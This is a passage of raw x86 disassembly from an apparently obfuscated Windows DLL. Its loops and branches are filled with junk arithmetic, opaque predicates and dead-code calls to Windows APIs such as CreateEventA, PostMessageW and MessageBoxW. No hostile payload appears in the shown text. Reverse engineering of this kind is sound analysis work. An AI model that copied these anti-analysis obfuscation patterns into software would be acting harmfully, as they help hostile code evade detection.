shl eax, 1
mov ecx, dword [ebp - 0x714]
mov dword [ebp + eax - 0x1070], ecx
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xba0]
call fcn.10016da1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf3c]
call fcn.10016da1
mov dword [ebp - 0xe44], 0xfffffffe
mov dword [ebp - 0xc6c], 0x3df75dce
mov dword [ebp - 0xc68], 0x3df75dce
mov dword [ebp - 0xc64], 0x3df75dce
mov dword [ebp - 0xc60], 0x3df75dce
lea ecx, [ebp - 0x353]
call fcn.10008c73
push eax
lea eax, [ebp - 0xc5c]
push eax
lea eax, [ebp - 0xc6c]
push eax
lea ecx, [ebp - 0x112c]
call fcn.10016dcc
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3f4]
call fcn.10016d7b
mov dword [ebp - 4], 7
push 1
lea ecx, [ebp - 0x344]
call fcn.10016d1f
mov byte [ebp - 4], 8
mov dword [ebp - 0x1bc], 0xdc660f7e
mov dword [ebp - 0xe4c], 0
mov dword [ebp - 0xe54], 3
mov dword [ebp - 0x88], 0
jmp 0x1000a2d1
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jge 0x1000a2f3
push dword [ebp - 0x88]
lea ecx, [ebp - 0x344]
call fcn.10016dbd
mov dword [eax], 2
jmp 0x1000a2c4
mov dword [ebp - 0x88], 0
jmp 0x1000a30c
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 4
jge 0x1000a328
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x11dc], 0xbf199314
jmp 0x1000a2ff
push 0
lea ecx, [ebp - 0x344]
call fcn.10016dbd
and dword [eax], 0
jmp 0x1000a35e
push 0
lea ecx, [ebp - 0x344]
call fcn.10016dbd
mov dword [ebp - 0x4d4], eax
mov eax, dword [ebp - 0x4d4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x4d4]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x344]
call fcn.10016dbd
cmp dword [eax], 3
jg 0x1000a643
mov dword [ebp - 0xe5c], 0xb2fc257a
mov dword [ebp - 0x2b0], 0x6ff18ee8
mov dword [ebp - 0xe64], 0xfffffffc
mov dword [ebp - 0x328], 0
jmp 0x1000a3ab
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 1
jge 0x1000a3c7
mov eax, dword [ebp - 0x328]
mov dword [ebp + eax*4 - 0xe6c], 0xfffffff6
jmp 0x1000a39e
cmp dword [ebp - 0x1bc], 0
je 0x1000a3ee
push 3
lea ecx, [ebp - 0x3f4]
call fcn.10016dbd
cmp dword [eax], 0
je 0x1000a3ee
mov dword [ebp - 0x8a4], 1
jmp 0x1000a3f5
and dword [ebp - 0x8a4], 0
push 0
lea ecx, [ebp - 0x344]
call fcn.10016dbd
push dword [eax]
lea ecx, [ebp - 0x3f4]
call fcn.10016dbd
push 0
lea ecx, [ebp - 0x344]
call fcn.10016dbd
push 0
lea ecx, [ebp - 0x344]
call fcn.10016dbd
push dword [eax]
lea ecx, [ebp - 0x3f4]
call fcn.10016dbd
mov esi, eax
push 0
lea ecx, [ebp - 0x344]
call fcn.10016dbd
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x1000a457
mov dword [ebp - 0x4dc], 1
jmp 0x1000a45e
and dword [ebp - 0x4dc], 0
mov eax, dword [ebp - 0x8a4]
cmp eax, dword [ebp - 0x4dc]
jge 0x1000a478
mov dword [ebp - 0xaf4], 1
jmp 0x1000a47f
and dword [ebp - 0xaf4], 0
push 0
lea ecx, [ebp - 0x344]
call fcn.10016dbd
push dword [eax]
lea ecx, [ebp - 0x3f4]
call fcn.10016dbd
push 3
lea ecx, [ebp - 0x3f4]
call fcn.10016dbd
push 2
lea ecx, [ebp - 0x3f4]
call fcn.10016dbd
mov esi, eax
push 0
lea ecx, [ebp - 0x344]
call fcn.10016dbd
push dword [eax]
lea ecx, [ebp - 0x3f4]
call fcn.10016dbd
mov ecx, dword [esi]
mov dword [eax], ecx
mov dword [ebp - 0x1bc], 0
jmp 0x1000a4ec
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 3
jg 0x1000a63e
mov dword [ebp - 0xe74], 0x2e75
mov dword [ebp - 0xe7c], 1
mov dword [ebp - 0x68], 0
jmp 0x1000a51d
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 2
jge 0x1000a533
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x1164], 0x5bed8572
jmp 0x1000a516
mov dword [ebp - 0x68], 0
jmp 0x1000a543
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 3
jge 0x1000a559
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0xf4c], 0
jmp 0x1000a53c
push 0
lea ecx, [ebp - 0x344]
call fcn.10016dbd
cmp dword [eax], 0
je 0x1000a5bb
mov dword [ebp - 0x230], 0xc12a7b09
mov dword [ebp - 0x230], 3
jmp 0x1000a58e
mov eax, dword [ebp - 0x230]
dec eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0
jl 0x1000a5b9
mov byte [ebp - 0x10f], 0
movzx eax, byte [ebp - 0x10f]
test eax, eax
je 0x1000a5b7
push 0
push 1
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
jmp 0x1000a581
jmp 0x1000a639
mov dword [ebp - 0xe84], 1
mov dword [ebp - 0xe8c], 0xffffffff
mov dword [ebp - 0xe94], 0x91704d9f
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xf4c]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xf4c], eax
mov dword [ebp - 0x2b0], 0
jmp 0x1000a60d
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 3
jg 0x1000a639
push 0
lea ecx, [ebp - 0x344]
call fcn.10016dbd
push dword [eax]
lea ecx, [ebp - 0x3f4]
call fcn.10016dbd
cmp dword [eax], 0
je 0x1000a637
jmp 0x1000a639
jmp 0x1000a600
jmp 0x1000a4df
jmp 0x1000a33a
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x344]
call fcn.10016da1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3f4]
call fcn.10016da1
push 2
lea ecx, [ebp - 0xcf8]
call fcn.10016d1f
mov dword [ebp - 4], 9
mov dword [ebp - 0x14], 0xffff
mov dword [ebp - 0x37c], 0x2206dd2c
mov dword [ebp - 0x238], 0x3b0a6d08
mov dword [ebp - 0x1dc], 8
mov dword [ebp - 0x3cc], 0xcb090aec
push 2
lea ecx, [ebp - 0xce0]
call fcn.10016d1f
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x90], 0
jmp 0x1000a6ce
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 3
jge 0x1000a6ea
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0x108c], 8
jmp 0x1000a6c1
mov dword [ebp - 0x90], 0
jmp 0x1000a703
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 2
jge 0x1000a725
push dword [ebp - 0x90]
lea ecx, [ebp - 0xce0]
call fcn.10016dbd
mov dword [eax], 0xbab7
jmp 0x1000a6f6
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xe9c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
je 0x1000a75e
mov eax, 0x5fa
test eax, eax
je 0x1000a75e
mov eax, 0xc5764361
test eax, eax
je 0x1000a75e
mov dword [ebp - 0x71c], 1
jmp 0x1000a765
and dword [ebp - 0x71c], 0
mov eax, dword [ebp - 0x71c]
sub eax, dword [ebp - 0x14]
cmp eax, 0x1e01
jg 0x1000a781
mov dword [ebp - 0x4e4], 1
jmp 0x1000a788
and dword [ebp - 0x4e4], 0
mov eax, dword [ebp - 0x4e4]
mov dword [ebp - 0x238], eax
mov eax, dword [ebp - 0x238]
neg eax
cmp eax, dword [ebp - 0x14]
jne 0x1000a7ad
mov dword [ebp - 0x824], 1
jmp 0x1000a7b4
and dword [ebp - 0x824], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x824], eax
je 0x1000a7cb
mov dword [ebp - 0x4ec], 1
jmp 0x1000a7d2
and dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x4ec]
neg eax
imul eax, eax, 0x66de
add eax, dword [ebp - 0x14]
cmp eax, 0xfffffffc
jne 0x1000a7f4
mov dword [ebp - 0x724], 1
jmp 0x1000a7fb
and dword [ebp - 0x724], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x724], eax
jle 0x1000a812
mov dword [ebp - 0x4f4], 1
jmp 0x1000a819
and dword [ebp - 0x4f4], 0
mov eax, dword [ebp - 0x4f4]
sub eax, dword [ebp - 0x14]
cmp eax, 0x29207965
jg 0x1000a835
mov dword [ebp - 0x924], 1
jmp 0x1000a83c
and dword [ebp - 0x924], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x924], eax
jge 0x1000a853
mov dword [ebp - 0x4fc], 1
jmp 0x1000a85a
and dword [ebp - 0x4fc], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x4fc], eax
je 0x1000a871
mov dword [ebp - 0x72c], 1
jmp 0x1000a878
and dword [ebp - 0x72c], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x72c]
sub ecx, 0x4a30f524
sub eax, ecx
jne 0x1000a897
mov dword [ebp - 0x504], 1
jmp 0x1000a89e
and dword [ebp - 0x504], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x504], eax
jne 0x1000a8b5
mov dword [ebp - 0x82c], 1
jmp 0x1000a8bc
and dword [ebp - 0x82c], 0
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x82c]
mov dword [ebp - 0x1dc], eax
push 0
lea ecx, [ebp - 0xce0]
call fcn.10016dbd
mov dword [ebp - 0x374], eax
push 4
pop eax
shl eax, 0
lea eax, [ebp + eax - 0x108c]
mov dword [ebp - 0x50c], eax
mov eax, dword [ebp - 0x50c]
mov ecx, dword [ebp - 0x374]
mov ecx, dword [ecx]
mov dword [eax], ecx
mov eax, dword [ebp - 0x50c]
mov eax, dword [eax]
mov dword [ebp - 0xafc], eax
mov eax, dword [ebp - 0x238]
mov dword [ebp - 0xb04], eax
mov eax, dword [ebp - 0x374]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x374]
mov dword [ecx], eax
mov eax, dword [ebp - 0xafc]
cmp eax, dword [ebp - 0xb04]
jne 0x1000a947
mov dword [ebp - 0x514], 1
jmp 0x1000a94e
and dword [ebp - 0x514], 0
mov eax, dword [ebp - 0x3cc]
mov dword [ebp - 0xea4], eax
cmp dword [ebp - 0x14], 0
jne 0x1000a96c
mov dword [ebp - 0xb0c], 1
jmp 0x1000a973
and dword [ebp - 0xb0c], 0
cmp dword [ebp - 0x3cc], 0
jne 0x1000a98e
cmp dword [ebp - 0x1dc], 0
jne 0x1000a98e
and dword [ebp - 0xb14], 0
jmp 0x1000a998
mov dword [ebp - 0xb14], 1
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xeac], eax
cmp dword [ebp - 0x3cc], 0
je 0x1000a9bf
cmp dword [ebp - 0x1dc], 0
je 0x1000a9bf
mov dword [ebp - 0xb58], 1
jmp 0x1000a9c6
and dword [ebp - 0xb58], 0
mov eax, dword [ebp - 0x238]
mov dword [ebp - 0xeb4], eax
mov eax, dword [ebp - 0x14]
add eax, 0x23013892
je 0x1000a9ed
or eax, 0xffffffff
je 0x1000a9ed
mov dword [ebp - 0x734], 1
jmp 0x1000a9f4
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x1dc]
imul eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0x37c]
jge 0x1000aa15
mov dword [ebp - 0x8ac], 1
jmp 0x1000aa1c
and dword [ebp - 0x8ac], 0
mov eax, dword [ebp - 0x514]
cmp eax, dword [ebp - 0x8ac]
jle 0x1000aa36
mov dword [ebp - 0x51c], 1
jmp 0x1000aa3d
and dword [ebp - 0x51c], 0
mov eax, dword [ebp - 0x51c]
mov dword [ebp - 0x1dc], eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xce0]
call fcn.10016da1
mov dword [ebp - 0x48], 4
mov dword [ebp - 0xebc], 0x151c8b9b
mov dword [ebp - 0x248], 0x4eb300a9
mov dword [ebp - 0x53c], 0xb49
mov dword [ebp - 0x2f0], 0
jmp 0x1000aa96
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 2
jge 0x1000aab2
mov eax, dword [ebp - 0x2f0]
mov dword [ebp + eax*4 - 0x113c], 0xfffffffc
jmp 0x1000aa89
mov dword [ebp - 0x48], 0xc
jmp 0x1000aac2
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xfffffff0
jge 0x1000adef
push 2
lea ecx, [ebp - 0x974]
call fcn.10016d1f
mov byte [ebp - 4], 0xb
mov dword [ebp - 0xec4], 0xf065f4b
push 3
lea ecx, [ebp - 0xf5c]
call fcn.10016d1f
mov byte [ebp - 4], 0xc
mov dword [ebp - 0xc0], 0
jmp 0x1000ab11
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 2
jge 0x1000ab33
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x974]
call fcn.10016dbd
mov dword [eax], 0x75286e87
jmp 0x1000ab04
mov dword [ebp - 0xc0], 0
jmp 0x1000ab4c
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 3
jge 0x1000ab6e
push dword [ebp - 0xc0]
lea ecx, [ebp - 0xf5c]
call fcn.10016dbd
mov dword [eax], 0x2c005d9c
jmp 0x1000ab3f
push 0
lea ecx, [ebp - 0x974]
call fcn.10016dbd
and dword [eax], 0
jmp 0x1000aba4
push 0
lea ecx, [ebp - 0x974]
call fcn.10016dbd
mov dword [ebp - 0x73c], eax
mov eax, dword [ebp - 0x73c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x73c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x974]
call fcn.10016dbd
cmp dword [eax], 0x19
jl 0x1000adcc
mov dword [ebp - 0x948], 0xfffffffd
mov dword [ebp - 0x944], 0xfffffffd
mov dword [ebp - 0x940], 0xfffffffd
mov dword [ebp - 0x93c], 0xfffffffd
mov dword [ebp - 0xecc], 0xfffffffd
mov dword [ebp - 0xed4], 0x7684abf0
mov dword [ebp - 0x240], 0
jmp 0x1000ac0f
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 2
jge 0x1000ac2b
mov eax, dword [ebp - 0x240]
mov dword [ebp + eax*4 - 0x1184], 0xfffffffb
jmp 0x1000ac02
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x948], 0
jmp 0x1000ac59
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x948]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x948], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x948], 0x14
jl 0x1000adc7
mov dword [ebp - 0x3ac], 0xffffffff
mov dword [ebp - 0x524], 0xdbd0176d
mov dword [ebp - 0x2b8], 0
jmp 0x1000ac9a
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 1
jge 0x1000acb6
mov eax, dword [ebp - 0x2b8]
mov dword [ebp + eax*4 - 0xaac], 0x1791e6e4
jmp 0x1000ac8d
cmp dword [ebp - 0x3ac], 0
je 0x1000acec
mov eax, dword [ebp - 0x3ac]
mov dword [ebp - 0x524], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x948]
cmp dword [ebp - 0x524], eax
jl 0x1000acec
mov dword [ebp - 0x52c], 1
jmp 0x1000acf3
and dword [ebp - 0x52c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, 0xffb22167
sub ecx, dword [ebp + eax - 0x948]
cmp ecx, dword [ebp - 0x48]
jle 0x1000ad16
mov dword [ebp - 0x834], 1
jmp 0x1000ad1d
and dword [ebp - 0x834], 0
mov esi, dword [ebp - 0x48]
push 0
lea ecx, [ebp - 0x974]
call fcn.10016dbd
mov ecx, dword [ebp - 0x834]
sub ecx, dword [eax]
imul ecx, dword [ebp - 0x52c]
cmp esi, ecx
jge 0x1000ad4f
cmp dword [ebp - 0x48], 0
jne 0x1000ad4f
and dword [ebp - 0x744], 0
jmp 0x1000ad59
mov dword [ebp - 0x744], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x948]
cmp dword [ebp - 0x744], eax
jl 0x1000ad7a
mov dword [ebp - 0x534], 1
jmp 0x1000ad81
and dword [ebp - 0x534], 0
mov eax, dword [ebp - 0x3ac]
cmp dword [ebp - 0x534], eax
jg 0x1000ad9b
mov dword [ebp - 0x8ec], 1
jmp 0x1000ada2
and dword [ebp - 0x8ec], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x8ec]
mov dword [ebp + eax - 0xaac], ecx
mov eax, dword [ebp - 0x53c]
inc eax
mov dword [ebp - 0x53c], eax
jmp 0x1000ac3e
jmp 0x1000ab80
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xf5c]
call fcn.10016da1
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x974]
call fcn.10016da1
jmp 0x1000aabb
mov dword [ebp - 0x248], 0
jmp 0x1000ae08
mov eax, dword [ebp - 0x248]
dec eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0xfffffff8
jne 0x1000ae45
mov dword [ebp - 0x48], 0
jmp 0x1000ae21
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jg 0x1000ae43
mov byte [ebp - 0x111], 0
movzx eax, byte [ebp - 0x111]
test eax, eax
je 0x1000ae41
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
jmp 0x1000ae1a
jmp 0x1000adfb
mov dword [ebp - 0x98], 0
jmp 0x1000ae5e
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 2
jge 0x1000ae80
push dword [ebp - 0x98]
lea ecx, [ebp - 0xcf8]
call fcn.10016dbd
mov dword [eax], 0x580849f8
jmp 0x1000ae51
mov dword [ebp - 0x98], 0
jmp 0x1000ae99
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 1
jge 0x1000aeb5
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x544], 0
jmp 0x1000ae8c
mov dword [ebp - 0xa78], 0x39b642c7
mov dword [ebp - 0x1c4], 0
mov dword [ebp - 0xedc], 1
mov dword [ebp - 0xee4], 0
mov dword [ebp - 0xeec], 0xffffffff
mov dword [ebp - 0xef4], 1
mov dword [ebp - 0xefc], 0xa8b060d2
mov dword [ebp - 0xf04], 0
mov dword [ebp - 0xf0c], 0x193c1de6
mov dword [ebp - 0xf14], 0xfffffff8
mov dword [ebp - 0xf1c], 0xb8a277eb
mov dword [ebp - 0xd8], 0
jmp 0x1000af3c
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 3
jge 0x1000af58
mov eax, dword [ebp - 0xd8]
mov dword [ebp + eax*4 - 0x1198], 1
jmp 0x1000af2f
mov dword [ebp - 0xd8], 0
jmp 0x1000af71
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 4
jge 0x1000af8d
mov eax, dword [ebp - 0xd8]
mov dword [ebp + eax*4 - 0x11fc], 0xe9ab5c29
jmp 0x1000af64
mov eax, dword [ebp - 0xa78]
mov dword [ebp - 0x1c4], eax
mov dword [ebp - 0x1c4], 0
jmp 0x1000afb2
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 2
jg 0x1000b02a
mov dword [ebp - 0x1020], 0xfffffff6
mov dword [ebp - 0x1028], 0
mov dword [ebp - 0x1040], 0x300a9e1a
mov dword [ebp - 0x74c], 0x8fb5c4ce
mov dword [ebp - 0x310], 0
jmp 0x1000affc
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 2
jge 0x1000b018
mov eax, dword [ebp - 0x310]
mov dword [ebp + eax*4 - 0x1134], 0xffffffff
jmp 0x1000afef
mov eax, dword [ebp - 0x74c]
dec eax
mov dword [ebp - 0x74c], eax
jmp 0x1000afa5
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x544]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x544], eax
push 2
lea ecx, [ebp - 0xbd0]
call fcn.10016d1f
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x1ec], 4
mov dword [ebp - 0x250], 0
jmp 0x1000b079
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 2
jge 0x1000b09b
push dword [ebp - 0x250]
lea ecx, [ebp - 0xbd0]
call fcn.10016dbd
mov dword [eax], 0xfffa
jmp 0x1000b06c
mov dword [ebp - 0x1ec], 1
jmp 0x1000b0b4
mov eax, dword [ebp - 0x1ec]
dec eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0
jl 0x1000b144
mov dword [ebp - 0x1cc], 0xebb6748f
mov byte [ebp - 0x113], 0
movzx eax, byte [ebp - 0x113]
test eax, eax
je 0x1000b0f3
push 0
push 0
push 0x1a64
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
mov dword [ebp - 0x1cc], 1
jmp 0x1000b10c
mov eax, dword [ebp - 0x1cc]
dec eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0
jl 0x1000b13f
push dword [ebp - 0x1ec]
lea ecx, [ebp - 0xbd0]
call fcn.10016dbd
mov esi, eax
push dword [ebp - 0x1cc]
lea ecx, [ebp - 0xbd0]
call fcn.10016dbd
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x1000b0ff
jmp 0x1000b0a7
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xbd0]
call fcn.10016da1
push 1
lea ecx, [ebp - 0xcf8]
call fcn.10016dbd
mov dword [eax], 0xe8b0d193
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcf8]
call fcn.10016da1
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0x75c], 0xcd430964
mov dword [ebp - 0xa00], 2
mov dword [ebp - 0x2c0], 0
jmp 0x1000b1ac
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 1
jge 0x1000b1c8
mov eax, dword [ebp - 0x2c0]
mov dword [ebp + eax*4 - 0x55c], 0xfffffffa
jmp 0x1000b19f
cmp dword [ebp - 0xe8], 0
je 0x1000b29d
cmp dword [ebp - 0xe8], 0
je 0x1000b22d
cmp dword [ebp - 0xe8], 0
jne 0x1000b1f9
mov eax, 0xe19e
test eax, eax
jne 0x1000b1f9
and dword [ebp - 0x83c], 0
jmp 0x1000b203
mov dword [ebp - 0x83c], 1
cmp dword [ebp - 0x83c], 1
jne 0x1000b218
mov dword [ebp - 0x54c], 1
jmp 0x1000b21f
and dword [ebp - 0x54c], 0
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x54c], eax
jge 0x1000b23f
cmp dword [ebp - 0xe8], 0
jne 0x1000b23f
and dword [ebp - 0x754], 0
jmp 0x1000b249
mov dword [ebp - 0x754], 1
cmp dword [ebp - 0x754], 0xfffb
jne 0x1000b261
mov dword [ebp - 0x554], 1
jmp 0x1000b268
and dword [ebp - 0x554], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x554]
mov dword [ebp + eax - 0x55c], ecx
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x1048], eax
mov eax, 0xea964a90
add eax, 0xfffffff9
je 0x1000b29d
mov dword [ebp - 0x8b4], 1
jmp 0x1000b2a4
and dword [ebp - 0x8b4], 0
mov eax, dword [ebp - 0x8b4]
mov dword [ebp - 0x75c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x55c]
cmp dword [ebp - 0xe8], eax
jle 0x1000b2ce
cmp dword [ebp - 0xe8], 0
je 0x1000b2e3
cmp dword [ebp - 0x75c], 0
je 0x1000b2e3
mov dword [ebp - 0x564], 1
jmp 0x1000b2ea
and dword [ebp - 0x564], 0
mov eax, dword [ebp - 0x564]
mov dword [ebp - 0xa00], eax
mov byte [ebp - 0x115], 0
movzx eax, byte [ebp - 0x115]
test eax, eax
je 0x1000b30e
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0xec], 0
mov dword [ebp - 0x76c], 0xcd430964
mov dword [ebp - 0x9b4], 2
mov dword [ebp - 0x258], 0
jmp 0x1000b345
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 1
jge 0x1000b361
mov eax, dword [ebp - 0x258]
mov dword [ebp + eax*4 - 0x57c], 0xfffffffa
jmp 0x1000b338
cmp dword [ebp - 0xec], 0
je 0x1000b436
cmp dword [ebp - 0xec], 0
je 0x1000b3c6
cmp dword [ebp - 0xec], 0
jne 0x1000b392
mov eax, 0xe19e
test eax, eax
jne 0x1000b392
and dword [ebp - 0x844], 0
jmp 0x1000b39c
mov dword [ebp - 0x844], 1
cmp dword [ebp - 0x844], 1
jne 0x1000b3b1
mov dword [ebp - 0x56c], 1
jmp 0x1000b3b8
and dword [ebp - 0x56c], 0
mov eax, dword [ebp - 0xec]
cmp dword [ebp - 0x56c], eax
jge 0x1000b3d8
cmp dword [ebp - 0xec], 0
jne 0x1000b3d8
and dword [ebp - 0x764], 0
jmp 0x1000b3e2
mov dword [ebp - 0x764], 1
cmp dword [ebp - 0x764], 0xfffb
jne 0x1000b3fa
mov dword [ebp - 0x574], 1
jmp 0x1000b401
and dword [ebp - 0x574], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x574]
mov dword [ebp + eax - 0x57c], ecx
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x1050], eax
mov eax, 0xea964a90
add eax, 0xfffffff9
je 0x1000b436
mov dword [ebp - 0x90c], 1
jmp 0x1000b43d
and dword [ebp - 0x90c], 0
mov eax, dword [ebp - 0x90c]
mov dword [ebp - 0x76c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x57c]
cmp dword [ebp - 0xec], eax
jle 0x1000b467
cmp dword [ebp - 0xec], 0
je 0x1000b47c
cmp dword [ebp - 0x76c], 0
je 0x1000b47c
mov dword [ebp - 0x584], 1
jmp 0x1000b483
and dword [ebp - 0x584], 0
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0x9b4], eax
mov byte [ebp - 0x118], 0
movzx eax, byte [ebp - 0x118]
test eax, eax
je 0x1000b4a7
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x1a8], 0x99dada43
mov dword [ebp - 0x2f8], 0
jmp 0x1000b4ca
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 3
jge 0x1000b4e6
mov eax, dword [ebp - 0x2f8]
mov dword [ebp + eax*4 - 0xf6c], 1
jmp 0x1000b4bd
mov dword [ebp - 0x1a8], 2
jmp 0x1000b4ff
mov eax, dword [ebp - 0x1a8]
dec eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0
jl 0x1000b571
mov dword [ebp - 0x1e4], 0xe90a624c
mov byte [ebp - 0xf2], 0
movzx eax, byte [ebp - 0xf2]
test eax, eax
je 0x1000b53a
push 0x16bb
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
mov dword [ebp - 0x1e4], 0
jmp 0x1000b553
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 3
jge 0x1000b56f
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0xf6c], 0
jmp 0x1000b546
jmp 0x1000b4f2
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xf6c], 0x444
jg 0x1000b590
mov dword [ebp - 0x84c], 1
jmp 0x1000b597
and dword [ebp - 0x84c], 0
mov eax, dword [ebp - 0x84c]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x2c8], 0xba76aabe
mov dword [ebp - 0x260], 0
jmp 0x1000b5c6
mov eax, dword [ebp - 0x260]
inc eax
